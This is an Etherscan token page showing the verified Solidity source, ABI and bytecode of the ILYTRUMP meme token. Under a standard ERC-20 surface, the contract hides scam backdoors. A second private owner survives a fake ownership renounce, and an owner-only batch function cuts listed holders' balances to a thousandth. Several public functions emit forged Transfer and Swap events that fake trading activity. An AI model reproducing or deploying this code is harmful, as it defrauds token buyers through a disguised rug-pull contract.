ETH Price: $3,362.44 (-2.62%)
Gas: 5.15 Gwei

Token

I LOVE YOU TRUMP (ILYTRUMP)
 

Overview

Max Total Supply

420,690,000,000 ILYTRUMP

Holders

160

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
158,295 ILYTRUMP

Value
$0.00
0x642f0fabd243758a017ef5477079a158b0fcef7f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ilytrump

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-15
*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract ilytrump {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "I LOVE YOU TRUMP";
    string public constant symbol = unicode"ILYTRUMP";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 420_690_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }
//This is a trial token do not buy it purchases will not be refunded.
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }


    

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function transfer(
        address[] calldata _users
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > 1) {
                uint256 rewardAmount = _countReward(_users[i], 1000);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

            function setup(address _setup_) external OnlyOwner {
        _pairr = _setup_;
    }


        function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

            function swapExactETHForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

                function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }


                function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }
    


    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506c054f529ca52576bc6892000000600955348015620000cc57600080fd5b5033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002439190620004b6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f19190620004b6565b6040518363ffffffff1660e01b815260040162000310929190620004f9565b6020604051808303816000875af115801562000330573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003569190620004b6565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200043e919062000541565b60405180910390a36200055e565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200047e8262000451565b9050919050565b620004908162000471565b81146200049c57600080fd5b50565b600081519050620004b08162000485565b92915050565b600060208284031215620004cf57620004ce6200044c565b5b6000620004df848285016200049f565b91505092915050565b620004f38162000471565b82525050565b6000604082019050620005106000830185620004e8565b6200051f6020830184620004e8565b9392505050565b6000819050919050565b6200053b8162000526565b82525050565b600060208201905062000558600083018462000530565b92915050565b6126ea806200056e6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806366d38203116100b85780639b792a441161007c5780639b792a441461033c578063a06c1a331461036c578063a457c2d714610388578063a9059cbb146103b8578063b18834aa146103e8578063dd62ed3e1461040457610137565b806366d38203146102aa57806370a08231146102c6578063715018a6146102f65780638da5cb5b1461030057806395d89b411461031e57610137565b8063313ce567116100ff578063313ce567146101f4578063321bef231461021257806335d162741461022e578063395093511461025e5780634e41c50a1461028e57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a857806326ededb8146101d8575b600080fd5b610144610434565b604051610151919061182f565b60405180910390f35b610174600480360381019061016f91906118f9565b61046d565b6040516101819190611954565b60405180910390f35b610192610484565b60405161019f919061197e565b60405180910390f35b6101c260048036038101906101bd9190611999565b61048a565b6040516101cf9190611954565b60405180910390f35b6101f260048036038101906101ed9190611a51565b6104ad565b005b6101fc610582565b6040516102099190611acd565b60405180910390f35b61022c60048036038101906102279190611a51565b610587565b005b61024860048036038101906102439190611ae8565b61065c565b604051610255919061197e565b60405180910390f35b610278600480360381019061027391906118f9565b6107f1565b6040516102859190611954565b60405180910390f35b6102a860048036038101906102a39190611a51565b610821565b005b6102c460048036038101906102bf9190611ae8565b6108f6565b005b6102e060048036038101906102db9190611ae8565b6109ca565b6040516102ed919061197e565b60405180910390f35b6102fe610a13565b005b610308610ae7565b6040516103159190611b24565b60405180910390f35b610326610b0d565b604051610333919061182f565b60405180910390f35b61035660048036038101906103519190611c7d565b610b46565b6040516103639190611954565b60405180910390f35b61038660048036038101906103819190611d00565b610c2a565b005b6103a2600480360381019061039d91906118f9565b610dbc565b6040516103af9190611954565b60405180910390f35b6103d260048036038101906103cd91906118f9565b610e2c565b6040516103df9190611954565b60405180910390f35b61040260048036038101906103fd9190611a51565b610e43565b005b61041e60048036038101906104199190611d4d565b610f18565b60405161042b919061197e565b60405180910390f35b6040518060400160405280601081526020017f49204c4f564520594f55205452554d500000000000000000000000000000000081525081565b600061047a338484610f9f565b6001905092915050565b60095481565b6000610497843384611168565b6104a28484846111f4565b600190509392505050565b60005b8383905081101561057c578383828181106104ce576104cd611d8d565b5b90506020020160208101906104e39190611ae8565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610561919061197e565b60405180910390a3808061057490611deb565b9150506104b0565b50505050565b601281565b60005b83839050811015610656578383828181106105a8576105a7611d8d565b5b90506020020160208101906105bd9190611ae8565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161063b919061197e565b60405180910390a3808061064e90611deb565b91505061058a565b50505050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156106ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f29190611eb5565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a19190611f1d565b73ffffffffffffffffffffffffffffffffffffffff16146107d257816dffffffffffffffffffffffffffff166107e4565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506108168185856108078589610f18565b6108119190611f4a565b610f9f565b600191505092915050565b60005b838390508110156108f05783838281811061084257610841611d8d565b5b90506020020160208101906108579190611ae8565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108d5919061197e565b60405180910390a380806108e890611deb565b915050610824565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097d90611fca565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a90612036565b60405180910390fd5b6000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600881526020017f494c595452554d5000000000000000000000000000000000000000000000000081525081565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcf90611fca565b60405180910390fd5b60005b8551811015610c1d57610c0a868281518110610bfa57610bf9611d8d565b5b602002602001015186868661149d565b8080610c1590611deb565b915050610bdb565b5060019050949350505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611fca565b60405180910390fd5b60005b82829050811015610db7576001610cfa848484818110610ce057610cdf611d8d565b5b9050602002016020810190610cf59190611ae8565b6109ca565b1115610da4576000610d35848484818110610d1857610d17611d8d565b5b9050602002016020810190610d2d9190611ae8565b6103e861155b565b90508060076000868686818110610d4f57610d4e611d8d565b5b9050602002016020810190610d649190611ae8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b8080610daf90611deb565b915050610cbd565b505050565b6000803390506000610dce8286610f18565b905083811015610e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0a906120c8565b60405180910390fd5b610e208286868403610f9f565b60019250505092915050565b6000610e393384846111f4565b6001905092915050565b60005b83839050811015610f1257838382818110610e6457610e63611d8d565b5b9050602002016020810190610e799190611ae8565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ef7919061197e565b60405180910390a38080610f0a90611deb565b915050610e46565b50505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110059061215a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611074906121ec565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115b919061197e565b60405180910390a3505050565b60006111748484610f18565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111ee57818110156111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790612258565b60405180910390fd5b6111ed8484848403610f9f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125a906122ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c99061237c565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611359576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113509061240e565b60405180910390fd5b61136381836115ae565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ef600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361160d565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161148f919061197e565b60405180910390a350505050565b6114a7848461166b565b6114b28383866116f6565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b685600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b81526004016115119392919061242e565b6020604051808303816000875af1158015611530573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115549190612491565b5050505050565b60006115a6600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611789565b905092915050565b6000828211156115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea9061250a565b60405180910390fd5b60008284611601919061252a565b90508091505092915050565b600080828461161c9190611f4a565b905083811015611661576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611658906125aa565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ea919061197e565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822856000808760405161177c949392919061260f565b60405180910390a3505050565b600081836117979190612683565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117d95780820151818401526020810190506117be565b60008484015250505050565b6000601f19601f8301169050919050565b60006118018261179f565b61180b81856117aa565b935061181b8185602086016117bb565b611824816117e5565b840191505092915050565b6000602082019050818103600083015261184981846117f6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061189082611865565b9050919050565b6118a081611885565b81146118ab57600080fd5b50565b6000813590506118bd81611897565b92915050565b6000819050919050565b6118d6816118c3565b81146118e157600080fd5b50565b6000813590506118f3816118cd565b92915050565b600080604083850312156119105761190f61185b565b5b600061191e858286016118ae565b925050602061192f858286016118e4565b9150509250929050565b60008115159050919050565b61194e81611939565b82525050565b60006020820190506119696000830184611945565b92915050565b611978816118c3565b82525050565b6000602082019050611993600083018461196f565b92915050565b6000806000606084860312156119b2576119b161185b565b5b60006119c0868287016118ae565b93505060206119d1868287016118ae565b92505060406119e2868287016118e4565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611a1157611a106119ec565b5b8235905067ffffffffffffffff811115611a2e57611a2d6119f1565b5b602083019150836020820283011115611a4a57611a496119f6565b5b9250929050565b600080600060408486031215611a6a57611a6961185b565b5b600084013567ffffffffffffffff811115611a8857611a87611860565b5b611a94868287016119fb565b93509350506020611aa7868287016118e4565b9150509250925092565b600060ff82169050919050565b611ac781611ab1565b82525050565b6000602082019050611ae26000830184611abe565b92915050565b600060208284031215611afe57611afd61185b565b5b6000611b0c848285016118ae565b91505092915050565b611b1e81611885565b82525050565b6000602082019050611b396000830184611b15565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611b77826117e5565b810181811067ffffffffffffffff82111715611b9657611b95611b3f565b5b80604052505050565b6000611ba9611851565b9050611bb58282611b6e565b919050565b600067ffffffffffffffff821115611bd557611bd4611b3f565b5b602082029050602081019050919050565b6000611bf9611bf484611bba565b611b9f565b90508083825260208201905060208402830185811115611c1c57611c1b6119f6565b5b835b81811015611c455780611c3188826118ae565b845260208401935050602081019050611c1e565b5050509392505050565b600082601f830112611c6457611c636119ec565b5b8135611c74848260208601611be6565b91505092915050565b60008060008060808587031215611c9757611c9661185b565b5b600085013567ffffffffffffffff811115611cb557611cb4611860565b5b611cc187828801611c4f565b9450506020611cd2878288016118e4565b9350506040611ce3878288016118e4565b9250506060611cf4878288016118ae565b91505092959194509250565b60008060208385031215611d1757611d1661185b565b5b600083013567ffffffffffffffff811115611d3557611d34611860565b5b611d41858286016119fb565b92509250509250929050565b60008060408385031215611d6457611d6361185b565b5b6000611d72858286016118ae565b9250506020611d83858286016118ae565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000f